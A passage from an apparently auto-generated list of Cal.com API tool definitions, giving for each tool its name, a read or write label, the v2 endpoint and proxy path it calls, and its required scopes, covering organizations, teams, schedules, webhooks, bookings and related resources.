/api/v1/calcom/v2/organizations/{orgId}/organizations/{managedOrganizationId}. Scopes: none. calcom_get_v2_organizations_by_orgid_roles (read) — Get all organization roles via GET /v2/organizations/{orgId}/roles GET /api/v1/calcom/v2/organizations/{orgId}/roles. Scopes: none. calcom_get_v2_organizations_by_orgid_roles_by_roleid (read) — Get a specific organization role via GET /v2/organizations/{orgId}/roles/{roleId} GET /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}. Scopes: none. calcom_get_v2_organizations_by_orgid_roles_by_roleid_permissions (read) — List permissions for an organization role via GET /v2/organizations/{orgId}/roles/{roleId}/permissions GET /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}/permissions. Scopes: none. calcom_get_v2_organizations_by_orgid_routing_forms (read) — Get organization routing forms via GET /v2/organizations/{orgId}/routing-forms GET /api/v1/calcom/v2/organizations/{orgId}/routing-forms. Scopes: ORG_ROUTING_FORM_READ. calcom_get_v2_organizations_by_orgid_routing_forms_by_routingformid_responses (read) — Get routing form responses via GET /v2/organizations/{orgId}/routing-forms/{routingFormId}/responses GET /api/v1/calcom/v2/organizations/{orgId}/routing-forms/{routingFormId}/responses. Scopes: ORG_ROUTING_FORM_READ. calcom_get_v2_organizations_by_orgid_schedules (read) — Get all schedules via GET /v2/organizations/{orgId}/schedules GET /api/v1/calcom/v2/organizations/{orgId}/schedules. Scopes: ORG_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_teams (read) — Get all teams via GET /v2/organizations/{orgId}/teams GET /api/v1/calcom/v2/organizations/{orgId}/teams. Scopes: ORG_PROFILE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid (read) — Get a team via GET /v2/organizations/{orgId}/teams/{teamId} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}. Scopes: TEAM_PROFILE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_bookings (read) — Get organization team bookings via GET /v2/organizations/{orgId}/teams/{teamId}/bookings GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/bookings. Scopes: TEAM_BOOKING_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_bookings_by_bookinguid_references (read) — Get booking references via GET /v2/organizations/{orgId}/teams/{teamId}/bookings/{bookingUid}/references GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/bookings/{bookingUid}/references. Scopes: TEAM_BOOKING_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_conferencing (read) — List team conferencing applications via GET /v2/organizations/{orgId}/teams/{teamId}/conferencing GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing. Scopes: TEAM_APPS_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_conferencing_by_app_oauth_auth_url (read) — Get OAuth conferencing app's auth URL for a team via GET /v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/oauth/auth-url GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/oauth/auth-url. Scopes: TEAM_APPS_WRITE. calcom_get_v2_organizations_by_orgid_teams_by_teamid_conferencing_by_app_oauth_callback (read) — Save conferencing app OAuth credentials via GET /v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/oauth/callback GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/oauth/callback. Scopes: TEAM_APPS_WRITE. calcom_get_v2_organizations_by_orgid_teams_by_teamid_conferencing_default (read) — Get team default conferencing application via GET /v2/organizations/{orgId}/teams/{teamId}/conferencing/default GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/default. Scopes: TEAM_APPS_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_event_types (read) — Get team event types via GET /v2/organizations/{orgId}/teams/{teamId}/event-types GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid (read) — Get an event type via GET /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid_private_links (read) — Get all private links for a team event type via GET /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links. Scopes: TEAM_EVENT_TYPE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_memberships (read) — Get all memberships via GET /v2/organizations/{orgId}/teams/{teamId}/memberships GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/memberships. Scopes: TEAM_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_memberships_by_membershipid (read) — Get a membership via GET /v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_roles (read) — Get all organization team roles via GET /v2/organizations/{orgId}/teams/{teamId}/roles GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid (read) — Get a specific organization team role via GET /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid_permissions (read) — List permissions for an organization team role via GET /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_routing_forms (read) — Get team routing forms via GET /v2/organizations/{orgId}/teams/{teamId}/routing-forms GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/routing-forms. Scopes: TEAM_ROUTING_FORM_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_routing_forms_by_routingformid_responses (read) — Get organization team routing form responses via GET /v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses. Scopes: TEAM_ROUTING_FORM_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_schedules (read) — Get all team member schedules via GET /v2/organizations/{orgId}/teams/{teamId}/schedules GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/schedules. Scopes: TEAM_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_stripe_check (read) — Check team Stripe connection via GET /v2/organizations/{orgId}/teams/{teamId}/stripe/check GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/stripe/check. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_stripe_connect (read) — Get Stripe connect URL for a team via GET /v2/organizations/{orgId}/teams/{teamId}/stripe/connect GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/stripe/connect. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_stripe_save (read) — Save Stripe credentials via GET /v2/organizations/{orgId}/teams/{teamId}/stripe/save GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/stripe/save. Scopes: none. calcom_get_v2_organizations_by_orgid_teams_by_teamid_users_by_userid_schedules (read) — Get schedules of a team member via GET /v2/organizations/{orgId}/teams/{teamId}/users/{userId}/schedules GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/users/{userId}/schedules. Scopes: TEAM_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_verified_resources_emails (read) — Get list of verified emails of an org team via GET /v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_verified_resources_emails_by_id (read) — Get verified email of an org team by id via GET /v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/{id} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/{id}. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_verified_resources_phones (read) — Get list of verified phone numbers of an org team via GET /v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_verified_resources_phones_by_id (read) — Get verified phone number of an org team by id via GET /v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/{id} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/{id}. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_workflows (read) — Get organization team workflows via GET /v2/organizations/{orgId}/teams/{teamId}/workflows GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows. Scopes: TEAM_WORKFLOW_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid (read) — Get organization team workflow via GET /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId} GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}. Scopes: TEAM_WORKFLOW_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid_routing_form (read) — Get organization team routing form workflow via GET /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form. Scopes: TEAM_WORKFLOW_READ. calcom_get_v2_organizations_by_orgid_teams_by_teamid_workflows_routing_form (read) — Get organization team routing form workflows via GET /v2/organizations/{orgId}/teams/{teamId}/workflows/routing-form GET /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/routing-form. Scopes: TEAM_WORKFLOW_READ. calcom_get_v2_organizations_by_orgid_teams_event_types (read) — Get all team event types via GET /v2/organizations/{orgId}/teams/event-types GET /api/v1/calcom/v2/organizations/{orgId}/teams/event-types. Scopes: ORG_EVENT_TYPE_READ. calcom_get_v2_organizations_by_orgid_teams_me (read) — Get teams membership for user via GET /v2/organizations/{orgId}/teams/me GET /api/v1/calcom/v2/organizations/{orgId}/teams/me. Scopes: TEAM_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_users (read) — Get all users via GET /v2/organizations/{orgId}/users GET /api/v1/calcom/v2/organizations/{orgId}/users. Scopes: ORG_MEMBERSHIP_READ. calcom_get_v2_organizations_by_orgid_users_by_userid_bookings (read) — Get all bookings for an organization user via GET /v2/organizations/{orgId}/users/{userId}/bookings GET /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/bookings. Scopes: ORG_BOOKING_READ. calcom_get_v2_organizations_by_orgid_users_by_userid_conferencing (read) — List conferencing apps of an organization user via GET /v2/organizations/{orgId}/users/{userId}/conferencing GET /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/conferencing. Scopes: APPS_READ. calcom_get_v2_organizations_by_orgid_users_by_userid_ooo (read) — Get all out-of-office entries for a user via GET /v2/organizations/{orgId}/users/{userId}/ooo GET /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/ooo. Scopes: ORG_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_users_by_userid_schedules (read) — Get all schedules via GET /v2/organizations/{orgId}/users/{userId}/schedules GET /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/schedules. Scopes: ORG_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_users_by_userid_schedules_by_scheduleid (read) — Get a schedule via GET /v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId} GET /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId}. Scopes: ORG_SCHEDULE_READ. calcom_get_v2_organizations_by_orgid_webhooks (read) — Get all webhooks via GET /v2/organizations/{orgId}/webhooks GET /api/v1/calcom/v2/organizations/{orgId}/webhooks. Scopes: ORG_WEBHOOK_READ. calcom_get_v2_organizations_by_orgid_webhooks_by_webhookid (read) — Get a webhook via GET /v2/organizations/{orgId}/webhooks/{webhookId} GET /api/v1/calcom/v2/organizations/{orgId}/webhooks/{webhookId}. Scopes: ORG_WEBHOOK_READ. calcom_get_v2_schedules (read) — Get all schedules of the authenticated user. via GET /v2/schedules GET /api/v1/calcom/v2/schedules. Scopes: SCHEDULE_READ. calcom_get_v2_schedules_by_scheduleid (read) — Get a schedule via GET /v2/schedules/{scheduleId} GET /api/v1/calcom/v2/schedules/{scheduleId}. Scopes: SCHEDULE_READ. calcom_get_v2_schedules_default (read) — Get default schedule via GET /v2/schedules/default GET /api/v1/calcom/v2/schedules/default. Scopes: SCHEDULE_READ. calcom_get_v2_slots (read) — Get available time slots for an event type via GET /v2/slots GET /api/v1/calcom/v2/slots. Scopes: none. calcom_get_v2_slots_reservations_by_uid (read) — Get reserved slot via GET /v2/slots/reservations/{uid} GET /api/v1/calcom/v2/slots/reservations/{uid}. Scopes: none. calcom_get_v2_stripe_check (read) — Check Stripe connection via GET /v2/stripe/check GET /api/v1/calcom/v2/stripe/check. Scopes: none. calcom_get_v2_stripe_connect (read) — Get Stripe connect URL via GET /v2/stripe/connect GET /api/v1/calcom/v2/stripe/connect. Scopes: none. calcom_get_v2_stripe_save (read) — Save Stripe credentials via GET /v2/stripe/save GET /api/v1/calcom/v2/stripe/save. Scopes: none. calcom_get_v2_teams (read) — Get teams via GET /v2/teams GET /api/v1/calcom/v2/teams. Scopes: TEAM_PROFILE_READ. calcom_get_v2_teams_by_teamid (read) — Get a team via GET /v2/teams/{teamId} GET /api/v1/calcom/v2/teams/{teamId}. Scopes: TEAM_PROFILE_READ. calcom_get_v2_teams_by_teamid_bookings (read) — Get team bookings via GET /v2/teams/{teamId}/bookings GET /api/v1/calcom/v2/teams/{teamId}/bookings. Scopes: TEAM_BOOKING_READ. calcom_get_v2_teams_by_teamid_event_types (read) — Get team event types via GET /v2/teams/{teamId}/event-types GET /api/v1/calcom/v2/teams/{teamId}/event-types. Scopes: none. calcom_get_v2_teams_by_teamid_event_types_by_eventtypeid (read) — Get an event type via GET /v2/teams/{teamId}/event-types/{eventTypeId} GET /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_READ. calcom_get_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks (read) — Get all webhooks for a team event type via GET /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks GET /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks. Scopes: TEAM_EVENT_TYPE_READ. calcom_get_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks_by_webhookid (read) — Get a webhook for a team event type via GET /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId} GET /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: TEAM_EVENT_TYPE_READ. calcom_get_v2_teams_by_teamid_memberships (read) — Get all memberships via GET /v2/teams/{teamId}/memberships GET /api/v1/calcom/v2/teams/{teamId}/memberships. Scopes: TEAM_MEMBERSHIP_READ. calcom_get_v2_teams_by_teamid_memberships_by_membershipid (read) — Get a membership via GET /v2/teams/{teamId}/memberships/{membershipId} GET /api/v1/calcom/v2/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_READ. calcom_get_v2_teams_by_teamid_schedules (read) — Get all team member schedules via GET /v2/teams/{teamId}/schedules GET /api/v1/calcom/v2/teams/{teamId}/schedules. Scopes: TEAM_SCHEDULE_READ. calcom_get_v2_teams_by_teamid_users_by_userid_ooo (read) — Get all out-of-office entries for a team member via GET /v2/teams/{teamId}/users/{userId}/ooo GET /api/v1/calcom/v2/teams/{teamId}/users/{userId}/ooo. Scopes: TEAM_SCHEDULE_READ. calcom_get_v2_teams_by_teamid_verified_resources_emails (read) — Get list of verified emails of a team via GET /v2/teams/{teamId}/verified-resources/emails GET /api/v1/calcom/v2/teams/{teamId}/verified-resources/emails. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_teams_by_teamid_verified_resources_emails_by_id (read) — Get verified email of a team by id via GET /v2/teams/{teamId}/verified-resources/emails/{id} GET /api/v1/calcom/v2/teams/{teamId}/verified-resources/emails/{id}. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_teams_by_teamid_verified_resources_phones (read) — Get list of verified phone numbers of a team via GET /v2/teams/{teamId}/verified-resources/phones GET /api/v1/calcom/v2/teams/{teamId}/verified-resources/phones. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_teams_by_teamid_verified_resources_phones_by_id (read) — Get verified phone number of a team by id via GET /v2/teams/{teamId}/verified-resources/phones/{id} GET /api/v1/calcom/v2/teams/{teamId}/verified-resources/phones/{id}. Scopes: TEAM_VERIFIED_RESOURCES_READ. calcom_get_v2_verified_resources_emails (read) — Get list of verified emails via GET /v2/verified-resources/emails GET /api/v1/calcom/v2/verified-resources/emails. Scopes: VERIFIED_RESOURCES_READ. calcom_get_v2_verified_resources_emails_by_id (read) — Get verified email by id via GET /v2/verified-resources/emails/{id} GET /api/v1/calcom/v2/verified-resources/emails/{id}. Scopes: VERIFIED_RESOURCES_READ. calcom_get_v2_verified_resources_phones (read) — Get list of verified phone numbers via GET /v2/verified-resources/phones GET /api/v1/calcom/v2/verified-resources/phones. Scopes: VERIFIED_RESOURCES_READ. calcom_get_v2_verified_resources_phones_by_id (read) — Get verified phone number by id via GET /v2/verified-resources/phones/{id} GET /api/v1/calcom/v2/verified-resources/phones/{id}. Scopes: VERIFIED_RESOURCES_READ. calcom_get_v2_webhooks (read) — Get all webhooks via GET /v2/webhooks GET /api/v1/calcom/v2/webhooks. Scopes: WEBHOOK_READ. calcom_get_v2_webhooks_by_webhookid (read) — Get a webhook via GET /v2/webhooks/{webhookId} GET /api/v1/calcom/v2/webhooks/{webhookId}. Scopes: WEBHOOK_READ. calcom_get_v2_workflows (read) — Get your workflows via GET /v2/workflows GET /api/v1/calcom/v2/workflows. Scopes: none. calcom_get_v2_workflows_by_workflowid (read) — Get your workflow via GET /v2/workflows/{workflowId} GET /api/v1/calcom/v2/workflows/{workflowId}. Scopes: none. calcom_patch_v2_bookings_by_bookinguid_location (write) — Update booking location for an existing booking via PATCH /v2/bookings/{bookingUid}/location PATCH /api/v1/calcom/v2/bookings/{bookingUid}/location. Scopes: BOOKING_WRITE. calcom_patch_v2_calendars_by_calendar_events_by_eventuid (write) — Update meeting details in calendar via PATCH /v2/calendars/{calendar}/events/{eventUid} PATCH /api/v1/calcom/v2/calendars/{calendar}/events/{eventUid}. Scopes: APPS_WRITE. calcom_patch_v2_event_types_by_eventtypeid (write) — Update an event type via PATCH /v2/event-types/{eventTypeId} PATCH /api/v1/calcom/v2/event-types/{eventTypeId}. Scopes: EVENT_TYPE_WRITE. calcom_patch_v2_event_types_by_eventtypeid_private_links_by_linkid (write) — Update a private link for an event type via PATCH /v2/event-types/{eventTypeId}/private-links/{linkId} PATCH /api/v1/calcom/v2/event-types/{eventTypeId}/private-links/{linkId}. Scopes: EVENT_TYPE_WRITE. calcom_patch_v2_event_types_by_eventtypeid_webhooks_by_webhookid (write) — Update a webhook via PATCH /v2/event-types/{eventTypeId}/webhooks/{webhookId} PATCH /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: EVENT_TYPE_WRITE. calcom_patch_v2_me (write) — Update my profile via PATCH /v2/me PATCH /api/v1/calcom/v2/me. Scopes: PROFILE_WRITE. calcom_patch_v2_me_booking_limits (write) — Update my booking limits via PATCH /v2/me/booking-limits PATCH /api/v1/calcom/v2/me/booking-limits. Scopes: PROFILE_WRITE. calcom_patch_v2_me_ooo_by_oooid (write) — Update an out-of-office entry for the authenticated user via PATCH /v2/me/ooo/{oooId} PATCH /api/v1/calcom/v2/me/ooo/{oooId}. Scopes: SCHEDULE_WRITE. calcom_patch_v2_oauth_clients_by_clientid (write) — Update an OAuth client via PATCH /v2/oauth-clients/{clientId} PATCH /api/v1/calcom/v2/oauth-clients/{clientId}. Scopes: none. calcom_patch_v2_oauth_clients_by_clientid_users_by_userid (write) — Update a managed user via PATCH /v2/oauth-clients/{clientId}/users/{userId} PATCH /api/v1/calcom/v2/oauth-clients/{clientId}/users/{userId}. Scopes: none. calcom_patch_v2_oauth_clients_by_clientid_webhooks_by_webhookid (write) — Update a webhook via PATCH /v2/oauth-clients/{clientId}/webhooks/{webhookId} PATCH /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks/{webhookId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_attributes_by_attributeid (write) — Update an attribute via PATCH /v2/organizations/{orgId}/attributes/{attributeId} PATCH /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_attributes_by_attributeid_options_by_optionid (write) — Update an attribute option via PATCH /v2/organizations/{orgId}/attributes/{attributeId}/options/{optionId} PATCH /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}/options/{optionId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_attributes_options_by_userid_by_attributeoptionid (write) — Update an attribute assignment for a user via PATCH /v2/organizations/{orgId}/attributes/options/{userId}/{attributeOptionId} PATCH /api/v1/calcom/v2/organizations/{orgId}/attributes/options/{userId}/{attributeOptionId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_delegation_credentials_by_credentialid (write) — Update delegation credentials of your organization via PATCH /v2/organizations/{orgId}/delegation-credentials/{credentialId} PATCH /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials/{credentialId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_memberships_by_membershipid (write) — Update a membership via PATCH /v2/organizations/{orgId}/memberships/{membershipId} PATCH /api/v1/calcom/v2/organizations/{orgId}/memberships/{membershipId}. Scopes: ORG_MEMBERSHIP_WRITE. calcom_patch_v2_organizations_by_orgid_organizations_by_managedorganizationid (write) — Update an organization within an organization via PATCH /v2/organizations/{orgId}/organizations/{managedOrganizationId} PATCH /api/v1/calcom/v2/organizations/{orgId}/organizations/{managedOrganizationId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_roles_by_roleid (write) — Update an organization role via PATCH /v2/organizations/{orgId}/roles/{roleId} PATCH /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_routing_forms_by_routingformid_responses_by_responseid (write) — Update routing form response via PATCH /v2/organizations/{orgId}/routing-forms/{routingFormId}/responses/{responseId} PATCH /api/v1/calcom/v2/organizations/{orgId}/routing-forms/{routingFormId}/responses/{responseId}. Scopes: ORG_ROUTING_FORM_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid (write) — Update a team via PATCH /v2/organizations/{orgId}/teams/{teamId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}. Scopes: ORG_PROFILE_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid (write) — Update a team event type via PATCH /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid_private_links_by_linkid (write) — Update a private link for a team event type via PATCH /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links/{linkId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links/{linkId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_memberships_by_membershipid (write) — Update a membership via PATCH /v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid (write) — Update an organization team role via PATCH /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}. Scopes: none. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_routing_forms_by_routingformid_responses_by_responseid (write) — Update routing form response via PATCH /v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses/{responseId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses/{responseId}. Scopes: TEAM_ROUTING_FORM_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid (write) — Update organization team workflow via PATCH /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId} PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}. Scopes: TEAM_WORKFLOW_WRITE. calcom_patch_v2_organizations_by_orgid_teams_by_teamid_workflows_by_workflowid_routing_form (write) — Update organization routing form team workflow via PATCH /v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form PATCH /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/{workflowId}/routing-form. Scopes: TEAM_WORKFLOW_WRITE. calcom_patch_v2_organizations_by_orgid_users_by_userid (write) — Update a user via PATCH /v2/organizations/{orgId}/users/{userId} PATCH /api/v1/calcom/v2/organizations/{orgId}/users/{userId}. Scopes: ORG_MEMBERSHIP_WRITE. calcom_patch_v2_organizations_by_orgid_users_by_userid_ooo_by_oooid (write) — Update an out-of-office entry for a user via PATCH /v2/organizations/{orgId}/users/{userId}/ooo/{oooId} PATCH /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/ooo/{oooId}. Scopes: ORG_SCHEDULE_WRITE. calcom_patch_v2_organizations_by_orgid_users_by_userid_schedules_by_scheduleid (write) — Update a schedule via PATCH /v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId} PATCH /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/schedules/{scheduleId}. Scopes: ORG_SCHEDULE_WRITE. calcom_patch_v2_organizations_by_orgid_webhooks_by_webhookid (write) — Update a webhook via PATCH /v2/organizations/{orgId}/webhooks/{webhookId} PATCH /api/v1/calcom/v2/organizations/{orgId}/webhooks/{webhookId}. Scopes: ORG_WEBHOOK_WRITE. calcom_patch_v2_schedules_by_scheduleid (write) — Update a schedule via PATCH /v2/schedules/{scheduleId} PATCH /api/v1/calcom/v2/schedules/{scheduleId}. Scopes: SCHEDULE_WRITE. calcom_patch_v2_slots_reservations_by_uid (write) — Update a reserved slot via PATCH /v2/slots/reservations/{uid} PATCH /api/v1/calcom/v2/slots/reservations/{uid}. Scopes: none. calcom_patch_v2_teams_by_teamid (write) — Update a team via PATCH /v2/teams/{teamId} PATCH /api/v1/calcom/v2/teams/{teamId}. Scopes: TEAM_PROFILE_WRITE. calcom_patch_v2_teams_by_teamid_event_types_by_eventtypeid (write) — Update a team event type via PATCH /v2/teams/{teamId}/event-types/{eventTypeId} PATCH /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_patch_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks_by_webhookid (write) — Update a webhook for a team event type via PATCH /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId} PATCH /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks/{webhookId}. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_patch_v2_teams_by_teamid_memberships_by_membershipid (write) — Update membership via PATCH /v2/teams/{teamId}/memberships/{membershipId} PATCH /api/v1/calcom/v2/teams/{teamId}/memberships/{membershipId}. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_patch_v2_teams_by_teamid_users_by_userid_ooo_by_oooid (write) — Update an out-of-office entry for a team member via PATCH /v2/teams/{teamId}/users/{userId}/ooo/{oooId} PATCH /api/v1/calcom/v2/teams/{teamId}/users/{userId}/ooo/{oooId}. Scopes: TEAM_SCHEDULE_WRITE. calcom_patch_v2_webhooks_by_webhookid (write) — Update a webhook via PATCH /v2/webhooks/{webhookId} PATCH /api/v1/calcom/v2/webhooks/{webhookId}. Scopes: WEBHOOK_WRITE. calcom_patch_v2_workflows_by_workflowid (write) — Update your workflow via PATCH /v2/workflows/{workflowId} PATCH /api/v1/calcom/v2/workflows/{workflowId}. Scopes: none. calcom_post_v2_api_keys_refresh (write) — Refresh API Key via POST /v2/api-keys/refresh POST /api/v1/calcom/v2/api-keys/refresh. Scopes: none. calcom_post_v2_auth_oauth2_token (write) — Exchange authorization code or refresh token for tokens via POST /v2/auth/oauth2/token POST /api/v1/calcom/v2/auth/oauth2/token. Scopes: none. calcom_post_v2_bookings (write) — Create a booking via POST /v2/bookings POST /api/v1/calcom/v2/bookings. Scopes: none. calcom_post_v2_bookings_by_bookinguid_attendees (write) — Add an attendee to a booking via POST /v2/bookings/{bookingUid}/attendees POST /api/v1/calcom/v2/bookings/{bookingUid}/attendees. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_cancel (write) — Cancel a booking via POST /v2/bookings/{bookingUid}/cancel POST /api/v1/calcom/v2/bookings/{bookingUid}/cancel. Scopes: none. calcom_post_v2_bookings_by_bookinguid_confirm 